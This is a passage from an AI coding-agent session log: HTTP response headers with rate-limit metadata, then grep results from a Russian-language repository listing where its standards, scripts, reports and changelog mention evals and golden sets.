[Function: toReadableStream],\n[2026-09-29T07:46:39.176Z] [STDOUT]   },\n[2026-09-29T07:46:39.185Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:46:39.260Z] [STDOUT] }\n[2026-09-29T07:46:39.264Z] [STDOUT] [log_cf01f0, request-id: \"req_011CfXMr8UeSjuHZPrMNut12\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1063ms\n[2026-09-29T07:46:39.268Z] [STDOUT] [log_cf01f0] response start {\n[2026-09-29T07:46:39.272Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.276Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.280Z] [STDOUT]   headers: {\n[2026-09-29T07:46:39.283Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.291Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:39.294Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:39.298Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:39.302Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:39.306Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.310Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:39.327Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.330Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:39.337Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:39.343Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:39.352Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:39.357Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:39.369Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.375Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.378Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:39.383Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.386Z] [STDOUT]     \"cf-ray\": \"a429600968a9dbb5-FRA\",\n[2026-09-29T07:46:39.392Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:39.394Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:39.398Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:39.403Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:39.414Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:39.417Z] [STDOUT]     \"request-id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:39.421Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:39.426Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:39.430Z] [STDOUT]     traceresponse: \"00-5a86df10d3bde65adca0feed6bc31970-17ca71181e899840-01\",\n[2026-09-29T07:46:39.434Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:39.436Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:39.438Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.443Z] [STDOUT]   },\n[2026-09-29T07:46:39.446Z] [STDOUT]   durationMs: 1063,\n[2026-09-29T07:46:39.450Z] [STDOUT] }\n[2026-09-29T07:46:39.464Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:39.467Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:39.472Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:39.483Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:39.486Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:39.489Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:39.494Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:39.497Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:39.503Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:39.507Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:39.512Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:39.519Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:39.524Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:39.529Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:39.533Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:39.540Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:39.545Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:39.547Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.552Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:39.555Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:39.558Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:39.562Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.564Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.567Z] [STDOUT]   \"request-id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:39.570Z] [STDOUT]   \"traceresponse\": \"00-5a86df10d3bde65adca0feed6bc31970-17ca71181e899840-01\",\n[2026-09-29T07:46:39.575Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.579Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.586Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:39.591Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.596Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.601Z] [STDOUT]   \"cf-ray\": \"a429600968a9dbb5-FRA\",\n[2026-09-29T07:46:39.604Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:39.608Z] [STDOUT] [log_cf01f0] response parsed {\n[2026-09-29T07:46:39.612Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.615Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.620Z] [STDOUT]   body: X {\n[2026-09-29T07:46:39.631Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:39.648Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:39.654Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:39.659Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:39.663Z] [STDOUT]     },\n[2026-09-29T07:46:39.667Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:39.669Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:39.671Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:39.673Z] [STDOUT]   },\n[2026-09-29T07:46:39.678Z] [STDOUT]   durationMs: 1064,\n[2026-09-29T07:46:39.686Z] [STDOUT] }\n[2026-09-29T07:46:39.692Z] [INFO] {\n[2026-09-29T07:46:39.692Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"message\": {\n[2026-09-29T07:46:39.692Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:39.692Z] [INFO]     \"content\": [\n[2026-09-29T07:46:39.692Z] [INFO]       {\n[2026-09-29T07:46:39.692Z] [INFO]         \"tool_use_id\": \"toolu_01DkFf1YgA5N2BAmpatMEr2j\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"content\": \"./standards/evals-contract-standard.md:36:\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `evals`: \u0438\u0437 \u0447\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u0438\u0442 golden-set, \u043a\u0430\u043a\\n./standards/evals-contract-standard.md:47:> \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043d \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 (golden-set, \u0440\u0443\u0431\u0440\u0438\u043a\u0430, \u043e\u0442\u0447\u0451\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430),\\n./standards/evals-contract-standard.md:63:1. **Golden-set \u043f\u0435\u0440\u0432\u0438\u0447\u0435\u043d.** \u041c\u0435\u0440\u044f\u0442\u044c\u0441\u044f \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n./standards/evals-contract-standard.md:72:**\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a** \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c evals \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043f\u043e\u043a\u0430 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b: golden-set, \u0440\u0443\u0431\u0440\u0438\u043a\u0430\\n./standards/evals-contract-standard.md:100:| Golden-set | `golden-set-.md` (\u0438\u043b\u0438 `.yaml`) | \u041a\u043e\u0440\u0435\u043d\u044c \u043d\u0430\u0438\u043c\u0435\u043d\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (ADR-001) |\\n./standards/evals-contract-standard.md:101:| \u0420\u0443\u0431\u0440\u0438\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 | `rubric-.md` | \u0420\u044f\u0434\u043e\u043c \u0441 golden-set \u0442\u043e\u0433\u043e \u0436\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n./standards/evals-contract-standard.md:102:| \u041e\u0442\u0447\u0451\u0442 \u043e\u0444\u043b\u0430\u0439\u043d-\u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `runs/` \u0441\u043f\u043e\u043a\u0430 | `runs/`, \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 golden-set |\\n./standards/evals-contract-standard.md:107:  [file-naming.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/3bfa4103c9efbbd59bc951814884920e406982e2/standards/file-naming.md); golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 **\u043d\u0435** \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n./standards/evals-contract-standard.md:110:- Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 **\u0414\u041e\u041b\u0416\u041d\u042b** \u043b\u0435\u0436\u0430\u0442\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435:\\n./standards/evals-contract-standard.md:111:  \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u0431\u0435\u0437 \u0441\u0432\u043e\u0435\u0433\u043e golden-set \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u043c\u0430.\\n./standards/evals-contract-standard.md:112:- \u042d\u0442\u0430\u043b\u043e\u043d \u0438 \u0444\u0430\u043a\u0442 **\u0417\u0410\u041f\u0420\u0415\u0429\u0415\u041d\u041e** \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c: golden-set \u2014 \u044d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c\\n./standards/evals-contract-standard.md:119:`standards/`). Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u2014 IL-1 (\u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442) \u0432\\n./standards/evals-contract-standard.md:124:Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u2014 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0441 frontmatter, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u044f\\n./standards/evals-contract-standard.md:137:| `rubric` | \u0414\u041e\u041b\u0416\u041d\u041e \u0434\u043b\u044f golden-set | \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0440\u0443\u0431\u0440\u0438\u043a\u0443, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043e\u0440 |\\n./standards/evals-contract-standard.md:147:### Golden-set\\n./standards/evals-contract-standard.md:206:\u041e\u0442\u0447\u0451\u0442 **\u0414\u041e\u041b\u0416\u0415\u041d** \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u043d\u043e\u0432\u043e: \u0432\u0435\u0440\u0441\u0438\u044f golden-set, \u0432\u0435\u0440\u0441\u0438\u044f\\n./standards/evals-contract-standard.md:221:| **Offline (\u0434\u0430\u0442\u0430\u0441\u0435\u0442)** | \u041f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c golden-set \u0434\u043e \u0440\u0435\u043b\u0438\u0437\u0430 | **\u041d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u044d\u0442\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c** |\\n./standards/evals-contract-standard.md:244:Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 knowledge-lifecycle:\\n./standards/evals-contract-standard.md:259:- Golden-set **\u041d\u0415 \u0414\u041e\u041b\u0416\u0415\u041d** \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u043f\u0440\u043e\u0448\u0451\u043b\\n./standards/evals-contract-standard.md:265:  \u0431\u0435\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e golden-set.\\n./standards/evals-contract-standard.md:300:| 1 | Frontmatter golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u0443 `Frontmatter` | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c |\\n./standards/evals-contract-standard.md:302:| 3 | \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0435\u0439\u0441 \u0438\u043c\u0435\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u042d\u0442\u0430\u043b\u043e\u043d \u043d\u0435\u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c |\\n./standards/evals-contract-standard.md:305:| 6 | \u0421\u0441\u044b\u043b\u043a\u0430 `rubric` \u0438\u0437 golden-set \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0444\u0430\u0439\u043b | \u0420\u0443\u0431\u0440\u0438\u043a\u0430-\u0441\u0438\u0440\u043e\u0442\u0430 |\\n./standards/evals-contract-standard.md:350:- [Glossary](GLOSSARY.md) \u2014 Evals, Rubric, Golden-set (\u00a715.9)\\n./standards/evals-contract-standard.md:370:| Q4 | \u041d\u0443\u0436\u0435\u043d \u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 (YAML/JSON) golden-set \u0432\u043c\u0435\u0441\u0442\u043e Markdown | \u041e\u0442\u043a\u0440\u044b\u0442 \u0434\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0431\u043e\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 |\\n./scripts/validate_issue_263_vision_alignment.py:19:- \u0441\u0442\u0430\u0442\u0443\u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e: evals \u0438 golden-set \u0432\\n./scripts/validate_issue_263_vision_alignment.py:74:        \\\"\u043d\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 `evals/` \u0438 \u043d\u0435\u0442 golden-set\\\",\\n./scripts/validate_issue_263_vision_alignment.py:77:        \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\",\\n./scripts/validate_issue_263_vision_alignment.py:102:        \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\",\\n./scripts/validate_issue_272_run_0019.py:198:        if \\\"golden case\\\" not in (RUN_DIR / relative).read_text(encoding=\\\"utf-8\\\"):\\n./scripts/validate_issue_272_run_0019.py:201:                f\\\"is not an approved template / golden case\\\"\\n./README.md:50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\\n./ai-governance/ai-governance.md:90:| Evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0430 | **\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.** \u0412 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 `evals/` \u0438 \u043d\u0435\u0442 golden-set: `runs/` \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0432\u0445\u043e\u0434 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u2014 `metadata.y\\n./ai-governance/ai-governance.md:94:1. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0425\u0430\u0431\u0430 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 `evals/` \u0438 golden-set \u0432\\n./runs/2026/RUN-0068/metadata.yaml:31:  template_v4_matches_over_90: 0\\n./runs/2026/RUN-0069/metadata.yaml:31:  template_v4_matches_over_90: 0\\n./runs/2026/RUN-0069/metadata.yaml:32:  template_v4_max_similarity: 0.638\\n./experiments/issue_353/render_report.py:46:\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **{len(sample)} \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n./experiments/issue_353/render_report.py:224:100% \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432, 100% \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 page-bearing \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0439\\n./experiments/bench_validators.py:4:\u041a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0440\u0430\u0437\u043c\u043d\u043e\u0436\u0430\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\\n./docs/ba-ecosystem.md:66:| Evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d \u0432 [`runs/`](../runs/) \u0441 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c. **\u041f\u043e\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d:** `evals/` \u0438 golden-set \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 ([\u0441\u0442\u0430\u0442\u0443\u0441 \u043c\u0435\u0445\\n./docs/rfc/prompt-improvement-bcreq-1025-proposal.md:198:**\u0422\u0438\u043f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** Minor (\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u043e + \u043d\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\\n./docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md:25:\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **65 \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n./docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md:270:100% \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432, 100% \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 page-bearing \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0439\\n./docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt:3923:[2026-09-01T08:35:38.311Z] [STDOUT] {\\\"type\\\":\\\"item.completed\\\",\\\"item\\\":{\\\"id\\\":\\\"item_19\\\",\\\"type\\\":\\\"command_execution\\\",\\\"command\\\":\\\"/bin/bash -lc \\\\\\\"sed -n '1,260p' CONTRIBUTING.md && sed -n '1,260p' README.md && sed -n '1,260p' runs/README.\\n./pr-ops/BACKLOG.md:324:- [ ] [2026-08-17] [issue #263] **\u041f\u0440\u043e\u0431\u0435\u043b: evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.**\\n./pr-ops/BACKLOG.md:330:      \u041d\u0443\u0436\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430: \u0444\u043e\u0440\u043c\u0430\u0442 golden-set, \u043c\u0435\u0441\u0442\u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u0441\u0432\u044f\u0437\u044c \u0441\\n./CHANGELOG.md:693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n./CHANGELOG.md:730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n./CHANGELOG.md:807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\\n./CHANGELOG.md:827:  \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 email \u0432 \u041b\u041a\u00bb. \u0414\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 (\u043d\u0435 \u044d\u0442\u0430\u043b\u043e\u043d \u0438 \u043d\u0435 golden case),\\n./CHANGELOG.md:888:- 